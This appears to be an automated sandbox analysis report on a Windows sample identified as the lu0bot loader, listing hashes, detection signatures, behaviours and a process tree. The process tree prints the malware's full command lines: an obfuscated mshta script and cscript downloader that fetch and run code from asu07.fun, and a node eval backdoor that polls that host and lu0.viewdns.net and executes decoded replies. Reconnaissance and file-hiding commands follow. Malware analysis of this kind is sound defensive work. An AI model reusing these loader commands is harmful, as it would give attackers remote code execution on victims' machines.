Analysis
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max time kernel
149s -
max time network
177s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
04-08-2021 09:23
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210804-112044.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210804-112044.exe
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Size
3KB
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MD5
172da997f8be4c8d0318a322c8ee806e
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SHA1
224d3e925800815e792af3a28f8d2dffb9c21e70
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SHA256
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0
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SHA512
75e85d44f076dee7505389284609ab4b138d676d777e3ebfe37e11053b293b7f5d91cfb66a4304539fb41c91db74c79ec93d262cbe1e908ffd5f530be4475ca4
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 2040 mshta.exe 4 1848 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1492 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1248 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 916 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1816 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1340 ipconfig.exe 1588 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 756 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\a13f5145797b3f6c:ads node.exe File created C:\ProgramData\DNTException\node.exe:b05cf1da0ff35040f6169f68509eb0e8 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1492 node.exe 1492 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1816 tasklist.exe Token: SeIncreaseQuotaPrivilege 1396 wmic.exe Token: SeSecurityPrivilege 1396 wmic.exe Token: SeTakeOwnershipPrivilege 1396 wmic.exe Token: SeLoadDriverPrivilege 1396 wmic.exe Token: SeSystemProfilePrivilege 1396 wmic.exe Token: SeSystemtimePrivilege 1396 wmic.exe Token: SeProfSingleProcessPrivilege 1396 wmic.exe Token: SeIncBasePriorityPrivilege 1396 wmic.exe Token: SeCreatePagefilePrivilege 1396 wmic.exe Token: SeBackupPrivilege 1396 wmic.exe Token: SeRestorePrivilege 1396 wmic.exe Token: SeShutdownPrivilege 1396 wmic.exe Token: SeDebugPrivilege 1396 wmic.exe Token: SeSystemEnvironmentPrivilege 1396 wmic.exe Token: SeRemoteShutdownPrivilege 1396 wmic.exe Token: SeUndockPrivilege 1396 wmic.exe Token: SeManageVolumePrivilege 1396 wmic.exe Token: 33 1396 wmic.exe Token: 34 1396 wmic.exe Token: 35 1396 wmic.exe Token: SeIncreaseQuotaPrivilege 1396 wmic.exe Token: SeSecurityPrivilege 1396 wmic.exe Token: SeTakeOwnershipPrivilege 1396 wmic.exe Token: SeLoadDriverPrivilege 1396 wmic.exe Token: SeSystemProfilePrivilege 1396 wmic.exe Token: SeSystemtimePrivilege 1396 wmic.exe Token: SeProfSingleProcessPrivilege 1396 wmic.exe Token: SeIncBasePriorityPrivilege 1396 wmic.exe Token: SeCreatePagefilePrivilege 1396 wmic.exe Token: SeBackupPrivilege 1396 wmic.exe Token: SeRestorePrivilege 1396 wmic.exe Token: SeShutdownPrivilege 1396 wmic.exe Token: SeDebugPrivilege 1396 wmic.exe Token: SeSystemEnvironmentPrivilege 1396 wmic.exe Token: SeRemoteShutdownPrivilege 1396 wmic.exe Token: SeUndockPrivilege 1396 wmic.exe Token: SeManageVolumePrivilege 1396 wmic.exe Token: 33 1396 wmic.exe Token: 34 1396 wmic.exe Token: 35 1396 wmic.exe Token: SeDebugPrivilege 1588 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1088 wrote to memory of 2040 1088 usfive_20210804-112044.exe 25 PID 1088 wrote to memory of 2040 1088 usfive_20210804-112044.exe 25 PID 1088 wrote to memory of 2040 1088 usfive_20210804-112044.exe 25 PID 1088 wrote to memory of 2040 1088 usfive_20210804-112044.exe 25 PID 2040 wrote to memory of 1980 2040 mshta.exe 27 PID 2040 wrote to memory of 1980 2040 mshta.exe 27 PID 2040 wrote to memory of 1980 2040 mshta.exe 27 PID 2040 wrote to memory of 1980 2040 mshta.exe 27 PID 1980 wrote to memory of 1848 1980 cmd.exe 29 PID 1980 wrote to memory of 1848 1980 cmd.exe 29 PID 1980 wrote to memory of 1848 1980 cmd.exe 29 PID 1980 wrote to memory of 1848 1980 cmd.exe 29 PID 1980 wrote to memory of 1596 1980 cmd.exe 31 PID 1980 wrote to memory of 1596 1980 cmd.exe 31 PID 1980 wrote to memory of 1596 1980 cmd.exe 31 PID 1980 wrote to memory of 1596 1980 cmd.exe 31 PID 1980 wrote to memory of 1248 1980 cmd.exe 32 PID 1980 wrote to memory of 1248 1980 cmd.exe 32 PID 1980 wrote to memory of 1248 1980 cmd.exe 32 PID 1980 wrote to memory of 1248 1980 cmd.exe 32 PID 1248 wrote to memory of 1492 1248 cscript.exe 35 PID 1248 wrote to memory of 1492 1248 cscript.exe 35 PID 1248 wrote to memory of 1492 1248 cscript.exe 35 PID 1248 wrote to memory of 1492 1248 cscript.exe 35 PID 1492 wrote to memory of 1276 1492 node.exe 37 PID 1492 wrote to memory of 1276 1492 node.exe 37 PID 1492 wrote to memory of 1276 1492 node.exe 37 PID 1492 wrote to memory of 1276 1492 node.exe 37 PID 1492 wrote to memory of 884 1492 node.exe 38 PID 1492 wrote to memory of 884 1492 node.exe 38 PID 1492 wrote to memory of 884 1492 node.exe 38 PID 1492 wrote to memory of 884 1492 node.exe 38 PID 1492 wrote to memory of 916 1492 node.exe 39 PID 1492 wrote to memory of 916 1492 node.exe 39 PID 1492 wrote to memory of 916 1492 node.exe 39 PID 1492 wrote to memory of 916 1492 node.exe 39 PID 1492 wrote to memory of 1692 1492 node.exe 40 PID 1492 wrote to memory of 1692 1492 node.exe 40 PID 1492 wrote to memory of 1692 1492 node.exe 40 PID 1492 wrote to memory of 1692 1492 node.exe 40 PID 1492 wrote to memory of 1544 1492 node.exe 41 PID 1492 wrote to memory of 1544 1492 node.exe 41 PID 1492 wrote to memory of 1544 1492 node.exe 41 PID 1492 wrote to memory of 1544 1492 node.exe 41 PID 1492 wrote to memory of 1816 1492 node.exe 42 PID 1492 wrote to memory of 1816 1492 node.exe 42 PID 1492 wrote to memory of 1816 1492 node.exe 42 PID 1492 wrote to memory of 1816 1492 node.exe 42 PID 1492 wrote to memory of 1396 1492 node.exe 44 PID 1492 wrote to memory of 1396 1492 node.exe 44 PID 1492 wrote to memory of 1396 1492 node.exe 44 PID 1492 wrote to memory of 1396 1492 node.exe 44 PID 1492 wrote to memory of 1340 1492 node.exe 45 PID 1492 wrote to memory of 1340 1492 node.exe 45 PID 1492 wrote to memory of 1340 1492 node.exe 45 PID 1492 wrote to memory of 1340 1492 node.exe 45 PID 1492 wrote to memory of 1552 1492 node.exe 46 PID 1492 wrote to memory of 1552 1492 node.exe 46 PID 1492 wrote to memory of 1552 1492 node.exe 46 PID 1492 wrote to memory of 1552 1492 node.exe 46 PID 1492 wrote to memory of 1588 1492 node.exe 47 PID 1492 wrote to memory of 1588 1492 node.exe 47 PID 1492 wrote to memory of 1588 1492 node.exe 47 PID 1492 wrote to memory of 1588 1492 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1692 attrib.exe 1544 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628069025422.txt & cscript /nologo /e:jscript get1628069025422.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F24160f899%26b%3De6d28280" node.cab & expand node.cab node.exe & del get1628069025422.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628069025422.txt & cscript /nologo /e:jscript get1628069025422.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%274160f899%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628069025422.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628069025422.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F24160f899%26b%3De6d28280" node.cab4⤵
- Blocklisted process makes network request
PID:1848
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1596
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628069025422.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%274160f899%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%274160f899%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1276
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:884
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:916
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1692
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1544
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1816
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1396
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1340
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1552
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1588
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:756
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